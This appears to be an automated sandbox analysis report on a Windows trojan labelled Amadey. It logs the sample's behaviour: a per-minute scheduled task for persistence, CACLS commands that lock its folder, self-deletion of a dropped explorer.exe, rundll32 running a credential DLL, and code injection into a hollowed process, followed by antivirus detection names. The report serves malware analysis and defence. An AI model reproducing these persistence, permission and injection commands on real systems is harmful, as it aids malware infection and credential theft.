ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe parameters: filepath: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe	1	1	0

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "gntuud.exe" /P "test22:N"&&CACLS "gntuud.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4ca685c424" /P "test22:N"&&CACLS "..\4ca685c424" /P "test22:R" /E&&Exit
cmdline	CACLS "..\4ca685c424" /P "test22:N"
cmdline	cmd /k echo Y\|CACLS "gntuud.exe" /P "test22:N"&&CACLS "gntuud.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4ca685c424" /P "test22:N"&&CACLS "..\4ca685c424" /P "test22:R" /E&&Exit
cmdline	CACLS "gntuud.exe" /P "test22:R" /E
cmdline	CACLS "gntuud.exe" /P "test22:N"
cmdline	CACLS "..\4ca685c424" /P "test22:R" /E

Creates known TeamViewer mutexes and/or registry changes. (1 event)

regkey

HKEY_CURRENT_USER\Software\TeamViewerSetupx64

Executed a process and injected code into it, probably while unpacking (46 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2292 thread_handle: 0x0000027c process_identifier: 2288 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000284	1	1
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x00000238 suspend_count: 1 process_identifier: 2288	1	0
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2616 thread_handle: 0x0000025c process_identifier: 2612 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F filepath_r: C:\Windows\System32\schtasks.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000264	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2676 thread_handle: 0x000001e4 process_identifier: 2672 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "gntuud.exe" /P "test22:N"&&CACLS "gntuud.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4ca685c424" /P "test22:N"&&CACLS "..\4ca685c424" /P "test22:R" /E&&Exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000250	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 3068 thread_handle: 0x0000044c process_identifier: 3064 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000438	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2160 thread_handle: 0x000003bc process_identifier: 2140 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\1000028000\explorer.exe" filepath_r: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000438	1	1
CreateProcessInternalW Dec. 12, 2022, 11:14 a.m.	thread_identifier: 2180 thread_handle: 0x00000440 process_identifier: 2184 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe" filepath_r: C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000044c	1	1
CreateProcessInternalW Dec. 12, 2022, 11:14 a.m.	thread_identifier: 2812 thread_handle: 0x000003b8 process_identifier: 2648 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000450	1	1
CreateProcessInternalW Dec. 12, 2022, 11:14 a.m.	thread_identifier: 1520 thread_handle: 0x00000464 process_identifier: 2964 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\rundll32.exe track: 1 command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main filepath_r: C:\Windows\System32\rundll32.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000047c	1	1
CreateProcessInternalW Dec. 12, 2022, 11:14 a.m.	thread_identifier: 2772 thread_handle: 0x00000470 process_identifier: 2756 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\rundll32.exe track: 1 command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main filepath_r: C:\Windows\System32\rundll32.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000480	1	1
CreateProcessInternalW Dec. 12, 2022, 11:14 a.m.	thread_identifier: 2128 thread_handle: 0x00000474 process_identifier: 2028 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\rundll32.exe track: 1 command_line: "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main filepath_r: C:\Windows\System32\rundll32.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000478	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2744 thread_handle: 0x0000008c process_identifier: 2740 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2784 thread_handle: 0x00000088 process_identifier: 2780 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "gntuud.exe" /P "test22:N" filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2836 thread_handle: 0x0000008c process_identifier: 2832 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "gntuud.exe" /P "test22:R" /E filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2884 thread_handle: 0x0000008c process_identifier: 2880 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: C:\Windows\system32\cmd.exe /S /D /c" echo Y" filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2920 thread_handle: 0x00000094 process_identifier: 2916 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "..\4ca685c424" /P "test22:N" filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2976 thread_handle: 0x0000008c process_identifier: 2972 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cacls.exe track: 1 command_line: CACLS "..\4ca685c424" /P "test22:R" /E filepath_r: C:\Windows\system32\cacls.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x000000a0 suspend_count: 1 process_identifier: 2780	1	0
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x0000009c suspend_count: 1 process_identifier: 2832	1	0
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x000000a0 suspend_count: 1 process_identifier: 2916	1	0
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x00000098 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x000000ec suspend_count: 1 process_identifier: 2140	1	0
CreateProcessInternalW Dec. 12, 2022, 11:13 a.m.	thread_identifier: 2268 thread_handle: 0x00000224 process_identifier: 2248 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\system32\cmd.exe" /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000228	1	1
NtResumeThread Dec. 12, 2022, 11:13 a.m.	thread_handle: 0x00000224 suspend_count: 1 process_identifier: 2248	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2648	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2648	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2648	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x0000023c suspend_count: 1 process_identifier: 2648	1	0
CreateProcessInternalW Dec. 12, 2022, 11:14 a.m.	thread_identifier: 2908 thread_handle: 0x000003a4 process_identifier: 2912 current_directory: C:\Users\test22\AppData\Local\Temp\4ca685c424 filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANgAwAA== filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003b4	1	1
CreateProcessInternalW Dec. 12, 2022, 11:15 a.m.	thread_identifier: 2728 thread_handle: 0x0000038c process_identifier: 2768 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000170	1	1
NtGetContextThread Dec. 12, 2022, 11:15 a.m.	thread_handle: 0x0000038c	1	0
NtAllocateVirtualMemory Dec. 12, 2022, 11:15 a.m.	process_identifier: 2768 region_size: 278528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000170	1	0
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $SGÞ&D&D&D\^G&D\^A&D\^@&DES@&DESG&DESA &D\^E&D&E&DÕSA&DÕS»&DÕSF&DRich&DPEL#qcàöS% @@@Üª<ðà¸2¼ÀØ@ x.text@ `.rdataR @@.dataÌÀ@À.rsrcàð¨@@.reloc¸24ª@B base_address: 0x00400000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: base_address: 0x00401000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: base_address: 0x00432000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: Ä#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#CÄ#CÔ#C(Cÿÿÿÿÿÿÿÿ±¿DNæ@»uÿÿÿÿ ÿÿÿÿHLCÂCÂCÂCÂCÂCÀÇCÈNCHPC ECÈÁCÂCC abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þÈCêCêCêCêCêCêCêCêCêCÈCêCêCêCêCêCêCêC..þÿÿÿþÿÿÿ7C.?AVbad_array_new_length@std@@7C.?AVbad_alloc@std@@7C.?AVexception@std@@7C.?AVruntime_error@std@@7C.?AVlogic_error@std@@7C.?AVlength_error@std@@7C.?AVout_of_range@std@@7C.?AVsystem_error@std@@7C.?AV_System_error@std@@7C.?AVbad_exception@std@@7C.?AVerror_category@std@@7C.?AV_Generic_error_category@std@@7C.?AVtype_info@@ base_address: 0x0043c000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: 0 H`ð}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0043f000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: base_address: 0x00440000 process_identifier: 2768 process_handle: 0x00000170	1	1
WriteProcessMemory Dec. 12, 2022, 11:15 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2768 process_handle: 0x00000170	1	1
NtSetContextThread Dec. 12, 2022, 11:15 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4334931 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000038c process_identifier: 2768	1	0
NtResumeThread Dec. 12, 2022, 11:15 a.m.	thread_handle: 0x0000038c suspend_count: 1 process_identifier: 2768	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 2912	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x000002fc suspend_count: 1 process_identifier: 2912	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x00000448 suspend_count: 1 process_identifier: 2912	1	0
NtResumeThread Dec. 12, 2022, 11:15 a.m.	thread_handle: 0x00000494 suspend_count: 1 process_identifier: 2912	1	0
NtResumeThread Dec. 12, 2022, 11:14 a.m.	thread_handle: 0x00000168 suspend_count: 1 process_identifier: 2964	1	0

File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 events)

Bkav	W32.AIDetect.malware2
Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
McAfee	RDN/Real Protect-LS
Cylance	Unsafe
Sangfor	Riskware.Win32.Agent.V9a4
K7AntiVirus	Riskware ( 0052f7bd1 )
Alibaba	Trojan:Win32/Crampes.6ae16964
K7GW	Riskware ( 0052f7bd1 )
Cybereason	malicious.0cca09
Symantec	ML.Attribute.HighConfidence
tehtris	Generic.Malware
ESET-NOD32	Win32/RiskWare.PEMalform.J
APEX	Malicious
Kaspersky	HEUR:Trojan.Win32.Crampes.a
BitDefender	Trojan.GenericKD.64168461
MicroWorld-eScan	Trojan.GenericKD.64168461
Avast	Win32:Evo-gen [Trj]
Tencent	Win32.Trojan.FalseSign.Ximw
Ad-Aware	Trojan.GenericKD.64168461
Emsisoft	Trojan.GenericKD.64168461 (B)
VIPRE	Trojan.GenericKD.64168461
TrendMicro	Trojan.Win32.AMADEY.YXCLJZ
McAfee-GW-Edition	RDN/Real Protect-LS
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.d332cf184ac8335d
Sophos	Mal/Generic-S
GData	Trojan.GenericKD.64168461
Jiangmin	Trojan.Crampes.dv
Antiy-AVL	Trojan/Win32.Dynamer
Gridinsoft	Trojan.Win32.Agent.cl
Arcabit	Trojan.Generic.D3D3220D
ZoneAlarm	HEUR:Trojan.Win32.Crampes.a
Microsoft	Trojan:Win32/Amadey.PAB!MTB
AhnLab-V3	Downloader/Win.Amadey.C5329944
MAX	malware (ai score=89)
Malwarebytes	Malware.AI.1616178918
TrendMicro-HouseCall	Trojan.Win32.AMADEY.YXCLJZ
Rising	Trojan.Swrort!8.296 (TFE:2:CCuO7nvtECH)
SentinelOne	Static AI - Malicious PE
Fortinet	Riskware/PEMalform
BitDefenderTheta	Gen:NN.ZexaF.36106.tC2@aqUFHgli
AVG	Win32:Evo-gen [Trj]
Panda	Trj/CI.A

AnyDesk.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All